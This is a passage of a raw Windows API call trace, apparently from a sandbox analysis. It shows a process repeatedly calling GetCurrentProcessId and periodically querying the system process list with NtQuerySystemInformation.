GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.215] GetCurrentProcessId () returned 0xbf4 [0275.215] GetCurrentProcessId () returned 0xbf4 [0275.215] GetCurrentProcessId () returned 0xbf4 [0275.215] GetCurrentProcessId () returned 0xbf4 [0275.215] GetCurrentProcessId () returned 0xbf4 [0275.215] GetCurrentProcessId () returned 0xbf4 [0275.215] GetCurrentProcessId () returned 0xbf4 [0275.215] GetCurrentProcessId () returned 0xbf4 [0275.215] GetCurrentProcessId () returned 0xbf4 [0275.215] GetCurrentProcessId () returned 0xbf4 [0275.215] GetCurrentProcessId () returned 0xbf4 [0275.215] GetCurrentProcessId () returned 0xbf4 [0275.215] GetCurrentProcessId () returned 0xbf4 [0275.215] GetCurrentProcessId () returned 0xbf4 [0275.215] GetCurrentProcessId () returned 0xbf4 [0275.215] GetCurrentProcessId () returned 0xbf4 [0275.215] GetCurrentProcessId () returned 0xbf4 [0275.215] GetCurrentProcessId () returned 0xbf4 [0275.215] GetCurrentProcessId () returned 0xbf4 [0275.215] GetCurrentProcessId () returned 0xbf4 [0275.215] GetCurrentProcessId () returned 0xbf4 [0275.215] GetCurrentProcessId () returned 0xbf4 [0275.215] GetCurrentProcessId () returned 0xbf4 [0275.215] GetCurrentProcessId () returned 0xbf4 [0275.215] GetCurrentProcessId () returned 0xbf4 [0275.215] GetCurrentProcessId () returned 0xbf4 [0275.751] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c750) returned 0x0 [0275.758] GetCurrentProcessId () returned 0xbf4 [0275.758] GetCurrentProcessId () returned 0xbf4 [0275.758] GetCurrentProcessId () returned 0xbf4 [0275.758] GetCurrentProcessId () returned 0xbf4 [0275.758] GetCurrentProcessId () returned 0xbf4 [0275.758] GetCurrentProcessId () returned 0xbf4 [0275.758] GetCurrentProcessId () returned 0xbf4 [0275.758] GetCurrentProcessId () returned 0xbf4 [0275.758] GetCurrentProcessId () returned 0xbf4 [0275.758] GetCurrentProcessId () returned 0xbf4 [0275.758] GetCurrentProcessId () returned 0xbf4 [0275.758] GetCurrentProcessId () returned 0xbf4 [0275.758] GetCurrentProcessId () returned 0xbf4 [0275.758] GetCurrentProcessId () returned 0xbf4 [0275.758] GetCurrentProcessId () returned 0xbf4 [0275.758] GetCurrentProcessId () returned 0xbf4 [0275.758] GetCurrentProcessId () returned 0xbf4 [0275.758] GetCurrentProcessId () returned 0xbf4 [0275.758] GetCurrentProcessId () returned 0xbf4 [0275.758] GetCurrentProcessId () returned 0xbf4 [0275.758] GetCurrentProcessId () returned 0xbf4 [0275.758] GetCurrentProcessId () returned 0xbf4 [0275.758] GetCurrentProcessId () returned 0xbf4 [0275.758] GetCurrentProcessId () returned 0xbf4 [0275.758] GetCurrentProcessId () returned 0xbf4 [0275.758] GetCurrentProcessId () returned 0xbf4 [0275.758] GetCurrentProcessId () returned 0xbf4 [0275.758] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.759] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.760] GetCurrentProcessId () returned 0xbf4 [0275.761] GetCurrentProcessId () returned 0xbf4 [0275.761] GetCurrentProcessId () returned 0xbf4 [0275.761] GetCurrentProcessId () returned 0xbf4 [0275.761] GetCurrentProcessId () returned 0xbf4 [0275.761] GetCurrentProcessId () returned 0xbf4 [0276.267] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c750) returned 0x0 [0276.269] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.270] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.271] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.272] GetCurrentProcessId () returned 0xbf4 [0276.273] GetCurrentProcessId () returned 0xbf4 [0276.273] GetCurrentProcessId () returned 0xbf4 [0276.273] GetCurrentProcessId () returned 0xbf4 [0276.273] GetCurrentProcessId () returned 0xbf4 [0276.845] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c750) returned 0x0 [0276.857] GetCurrentProcessId () returned 0xbf4 [0276.857] GetCurrentProcessId () returned 0xbf4 [0276.857] GetCurrentProcessId () returned 0xbf4 [0276.858] GetCurrentProcessId () returned 0xbf4 [0276.858] GetCurrentProcessId () returned 0xbf4 [0276.858] GetCurrentProcessId () returned 0xbf4 [0276.858] GetCurrentProcessId () returned 0xbf4 [0276.858] GetCurrentProcessId () returned 0xbf4 [0276.858] GetCurrentProcessId () returned 0xbf4 [0276.858] GetCurrentProcessId () returned 0xbf4 [0276.858] GetCurrentProcessId () returned 0xbf4 [0276.858] GetCurrentProcessId () returned 0xbf4 [0276.858] GetCurrentProcessId () returned 0xbf4 [0276.858] GetCurrentProcessId () returned 0xbf4 [0276.858] GetCurrentProcessId () returned 0xbf4 [0276.858] GetCurrentProcessId () returned 0xbf4 [0276.858] GetCurrentProcessId () returned 0xbf4 [0276.858] GetCurrentProcessId () returned 0xbf4 [0276.858] GetCurrentProcessId () returned 0xbf4 [0276.858] GetCurrentProcessId () returned 0xbf4 [0276.858] GetCurrentProcessId () returned 0xbf4 [0276.858] GetCurrentProcessId () returned 0xbf4 [0276.858] GetCurrentProcessId () returned 0xbf4 [0276.858] GetCurrentProcessId () returned 0xbf4 [0276.859] GetCurrentProcessId () returned 0xbf4 [0276.859] GetCurrentProcessId () returned 0xbf4 [0276.859] GetCurrentProcessId () returned 0xbf4 [0276.859] GetCurrentProcessId () returned 0xbf4 [0276.859] GetCurrentProcessId () returned 0xbf4 [0276.859] GetCurrentProcessId () returned 0xbf4 [0276.859] GetCurrentProcessId () returned 0xbf4 [0276.859] GetCurrentProcessId () returned 0xbf4 [0276.859] GetCurrentProcessId () returned 0xbf4 [0276.859] GetCurrentProcessId () returned 0xbf4 [0276.859] GetCurrentProcessId () returned 0xbf4 [0276.859] GetCurrentProcessId () returned 0xbf4 [0276.859] GetCurrentProcessId () returned 0xbf4 [0276.859] GetCurrentProcessId () returned 0xbf4 [0276.859] GetCurrentProcessId () returned 0xbf4 [0276.859] GetCurrentProcessId () returned 0xbf4 [0276.859] GetCurrentProcessId () returned 0xbf4 [0276.859] GetCurrentProcessId () returned 0xbf4 [0276.859] GetCurrentProcessId () returned 0xbf4 [0276.859] GetCurrentProcessId () returned 0xbf4 [0276.859] GetCurrentProcessId () returned 0xbf4 [0276.860] GetCurrentProcessId () returned 0xbf4 [0276.860] GetCurrentProcessId () returned 0xbf4 [0276.860] GetCurrentProcessId () returned 0xbf4 [0276.860] GetCurrentProcessId () returned 0xbf4 [0276.860] GetCurrentProcessId () returned 0xbf4 [0276.860] GetCurrentProcessId () returned 0xbf4 [0276.860] GetCurrentProcessId () returned 0xbf4 [0276.860] GetCurrentProcessId () returned 0xbf4 [0276.860] GetCurrentProcessId () returned 0xbf4 [0276.860] GetCurrentProcessId () returned 0xbf4 [0276.861] GetCurrentProcessId () returned 0xbf4 [0276.861] GetCurrentProcessId () returned 0xbf4 [0276.861] GetCurrentProcessId () returned 0xbf4 [0276.861] GetCurrentProcessId () returned 0xbf4 [0276.861] GetCurrentProcessId () returned 0xbf4 [0276.861] GetCurrentProcessId () returned 0xbf4 [0276.861] GetCurrentProcessId () returned 0xbf4 [0276.861] GetCurrentProcessId () returned 0xbf4 [0276.861] GetCurrentProcessId () returned 0xbf4 [0276.861] GetCurrentProcessId () returned 0xbf4 [0276.861] GetCurrentProcessId () returned 0xbf4 [0276.861] GetCurrentProcessId () returned 0xbf4 [0276.861] GetCurrentProcessId () returned 0xbf4 [0276.861] GetCurrentProcessId () returned 0xbf4 [0276.861] GetCurrentProcessId () returned 0xbf4 [0276.861] GetCurrentProcessId () returned 0xbf4 [0276.861] GetCurrentProcessId () returned 0xbf4 [0276.861] GetCurrentProcessId () returned 0xbf4 [0276.861] GetCurrentProcessId () returned 0xbf4 [0276.861] GetCurrentProcessId () returned 0xbf4 [0276.861] GetCurrentProcessId () returned 0xbf4 [0276.862] GetCurrentProcessId () returned 0xbf4 [0276.862] GetCurrentProcessId () returned 0xbf4 [0276.862] GetCurrentProcessId () returned 0xbf4 [0276.862] GetCurrentProcessId () returned 0xbf4 [0276.862] GetCurrentProcessId () returned 0xbf4 [0276.862] GetCurrentProcessId () returned 0xbf4 [0276.862] GetCurrentProcessId () returned 0xbf4 [0276.862] GetCurrentProcessId () returned 0xbf4 [0276.862] GetCurrentProcessId () returned 0xbf4 [0276.862] GetCurrentProcessId () returned 0xbf4 [0276.862] GetCurrentProcessId () returned 0xbf4 [0276.862] GetCurrentProcessId () returned 0xbf4 [0276.862] GetCurrentProcessId () returned 0xbf4 [0276.862] GetCurrentProcessId () returned 0xbf4 [0276.862] GetCurrentProcessId () returned 0xbf4 [0276.862] GetCurrentProcessId () returned 0xbf4 [0276.862] GetCurrentProcessId () returned 0xbf4 [0276.862] GetCurrentProcessId () returned 0xbf4 [0276.862] GetCurrentProcessId () returned 0xbf4 [0276.862] GetCurrentProcessId () returned 0xbf4 [0276.862] GetCurrentProcessId () returned 0xbf4 [0276.862] GetCurrentProcessId () returned 0xbf4 [0276.863] GetCurrentProcessId () returned 0xbf4 [0276.863] GetCurrentProcessId () returned 0xbf4 [0276.863] GetCurrentProcessId () returned 0xbf4 [0276.863] GetCurrentProcessId () returned 0xbf4 [0276.863] GetCurrentProcessId () returned 0xbf4 [0276.863] GetCurrentProcessId () returned 0xbf4 [0276.863] GetCurrentProcessId () returned 0xbf4 [0276.863] GetCurrentProcessId () returned 0xbf4 [0277.464] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c750) returned 0x0 [0277.478] GetCurrentProcessId () returned 0xbf4 [0277.478] GetCurrentProcessId () returned 0xbf4 [0277.478] GetCurrentProcessId () returned 0xbf4 [0277.478] GetCurrentProcessId () returned 0xbf4 [0277.478] GetCurrentProcessId () returned 0xbf4 [0277.478] GetCurrentProcessId () returned 0xbf4 [0277.478] GetCurrentProcessId () returned 0xbf4 [0277.478] GetCurrentProcessId () returned 0xbf4 [0277.478] GetCurrentProcessId () returned 0xbf4 [0277.478] GetCurrentProcessId () returned 0xbf4 [0277.478] GetCurrentProcessId () returned 0xbf4 [0277.478] GetCurrentProcessId () returned 0xbf4 [0277.478] GetCurrentProcessId () returned 0xbf4 [0277.478] GetCurrentProcessId () returned 0xbf4 [0277.478] GetCurrentProcessId () returned 0xbf4 [0277.478] GetCurrentProcessId () returned 0xbf4 [0277.478] GetCurrentProcessId () returned 0xbf4 [0277.478] GetCurrentProcessId () returned 0xbf4 [0277.478] GetCurrentProcessId () returned 0xbf4 [0277.478] GetCurrentProcessId () returned 0xbf4 [0277.478] GetCurrentProcessId () returned 0xbf4 [0277.478] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.479] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.480] GetCurrentProcessId () returned 0xbf4 [0277.481] GetCurrentProcessId () returned 0xbf4 [0277.481] GetCurrentProcessId () returned 0xbf4 [0277.481] GetCurrentProcessId () returned 0xbf4 [0277.481] GetCurrentProcessId () returned 0xbf4 [0277.481] GetCurrentProcessId () returned 0xbf4 [0277.481] GetCurrentProcessId () returned 0xbf4 [0277.481] GetCurrentProcessId () returned 0xbf4 [0277.481] GetCurrentProcessId () returned 0xbf4 [0277.481] GetCurrentProcessId () returned 0xbf4 [0277.481] GetCurrentProcessId () returned 0xbf4 [0277.481] GetCurrentProcessId () returned 0xbf4 [0277.481] GetCurrentProcessId () returned 0xbf4 [0277.481] GetCurrentProcessId () returned 0xbf4 [0277.481] GetCurrentProcessId () returned 0xbf4 [0278.198] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c750) returned 0x0 [0278.202] GetCurrentProcessId () returned 0xbf4 [0278.202] GetCurrentProcessId () returned 0xbf4 [0278.202] GetCurrentProcessId () returned 0xbf4 [0278.202] GetCurrentProcessId () returned 0xbf4 [0278.202] GetCurrentProcessId () returned 0xbf4 [0278.202] GetCurrentProcessId () returned 0xbf4 [0278.202] GetCurrentProcessId () returned 0xbf4 [0278.202] GetCurrentProcessId () returned 0xbf4 [0278.203] GetCurrentProcessId () returned 0xbf4 [0278.203] GetCurrentProcessId () returned 0xbf4 [0278.203] GetCurrentProcessId () returned 0xbf4 [0278.203] GetCurrentProcessId () returned 0xbf4 [0278.203] GetCurrentProcessId () returned 0xbf4 [0278.203] GetCurrentProcessId () returned 0xbf4 [0278.203] GetCurrentProcessId () returned 0xbf4 [0278.203] GetCurrentProcessId () returned 0xbf4 [0278.203] GetCurrentProcessId () returned 0xbf4 [0278.203] GetCurrentProcessId () returned 0xbf4 [0278.203] GetCurrentProcessId () returned 0xbf4 [0278.203] GetCurrentProcessId () returned 0xbf4 [0278.203] GetCurrentProcessId () returned 0xbf4 [0278.203] GetCurrentProcessId () returned 0xbf4 [0278.203] GetCurrentProcessId () returned 0xbf4 [0278.203] GetCurrentProcessId () returned 0xbf4 [0278.203] GetCurrentProcessId () returned 0xbf4 [0278.203] GetCurrentProcessId () returned 0xbf4 [0278.203] GetCurrentProcessId () returned 0xbf4 [0278.203] GetCurrentProcessId () returned 0xbf4 [0278.203] GetCurrentProcessId () returned 0xbf4 [0278.203] GetCurrentProcessId () returned 0xbf4 [0278.203] GetCurrentProcessId () returned 0xbf4 [0278.203] GetCurrentProcessId () returned 0xbf4 [0278.203] GetCurrentProcessId () returned 0xbf4 [0278.203] GetCurrentProcessId () returned 0xbf4 [0278.203] GetCurrentProcessId () returned 0xbf4 [0278.203] GetCurrentProcessId () returned 0xbf4 [0278.204] GetCurrentProcessId () returned 0xbf4 [0278.204] GetCurrentProcessId () returned 0xbf4 [0278.204] GetCurrentProcessId () returned 0xbf4 [0278.204] GetCurrentProcessId () returned 0xbf4 [0278.204] GetCurrentProcessId () returned 0xbf4 [0278.204] GetCurrentProcessId () returned 0xbf4 [0278.204] GetCurrentProcessId () returned 0xbf4 [0278.204] GetCurrentProcessId () returned 0xbf4 [0278.204] GetCurrentProcessId () returned 0xbf4 [0278.204] GetCurrentProcessId () returned 0xbf4 [0278.204] GetCurrentProcessId () returned 0xbf4 [0278.204] GetCurrentProcessId () returned 0xbf4 [0278.204] GetCurrentProcessId () returned 0xbf4 [0278.204] GetCurrentProcessId () returned 0xbf4 [0278.204] GetCurrentProcessId () returned 0xbf4 [0278.204] GetCurrentProcessId () returned 0xbf4 [0278.204] GetCurrentProcessId () returned 0xbf4 [0278.204] GetCurrentProcessId () returned 0xbf4 [0278.204] GetCurrentProcessId () returned 0xbf4 [0278.204] GetCurrentProcessId () returned 0xbf4 [0278.204] GetCurrentProcessId () returned 0xbf4 [0278.204] GetCurrentProcessId () returned 0xbf4 [0278.204] GetCurrentProcessId () returned 0xbf4 [0278.204] GetCurrentProcessId () returned 0xbf4 [0278.204] GetCurrentProcessId () returned 0xbf4 [0278.204] GetCurrentProcessId () returned 0xbf4 [0278.204] GetCurrentProcessId () returned 0xbf4 [0278.204] GetCurrentProcessId () returned 0xbf4 [0278.205] GetCurrentProcessId () returned 0xbf4 [0278.205] GetCurrentProcessId () returned 0xbf4 [0278.205] GetCurrentProcessId () returned 0xbf4 [0278.205] GetCurrentProcessId () returned 0xbf4 [0278.205] GetCurrentProcessId () returned 0xbf4 [0278.205] GetCurrentProcessId () returned 0xbf4 [0278.205] GetCurrentProcessId () returned 0xbf4 [0278.205] GetCurrentProcessId () returned 0xbf4 [0278.205] GetCurrentProcessId () returned 0xbf4 [0278.205] GetCurrentProcessId () returned 0xbf4 [0278.205] GetCurrentProcessId () returned 0xbf4 [0278.205] GetCurrentProcessId () returned 0xbf4 [0278.205] GetCurrentProcessId () returned 0xbf4 [0278.205] GetCurrentProcessId () returned 0xbf4 [0278.205] GetCurrentProcessId () returned 0xbf4 [0278.205] GetCurrentProcessId () returned 0xbf4 [0278.205] GetCurrentProcessId () returned 0xbf4 [0278.205] GetCurrentProcessId () returned 0xbf4 [0278.205] GetCurrentProcessId () returned 0xbf4 [0278.205] GetCurrentProcessId () returned 0xbf4 [0278.205] GetCurrentProcessId () returned 0xbf4 [0278.205] GetCurrentProcessId () returned 0xbf4 [0278.205] GetCurrentProcessId () returned 0xbf4 [0278.205] GetCurrentProcessId () returned 0xbf4 [0278.205] GetCurrentProcessId () returned 0xbf4 [0278.205] GetCurrentProcessId () returned 0xbf4 [0278.205] GetCurrentProcessId () returned 0xbf4 [0278.205] GetCurrentProcessId () returned 0xbf4 [0278.206] GetCurrentProcessId () returned 0xbf4 [0278.206] GetCurrentProcessId () returned 0xbf4 [0278.206] GetCurrentProcessId () returned 0xbf4 [0278.206] GetCurrentProcessId () returned 0xbf4 [0278.206] GetCurrentProcessId () returned 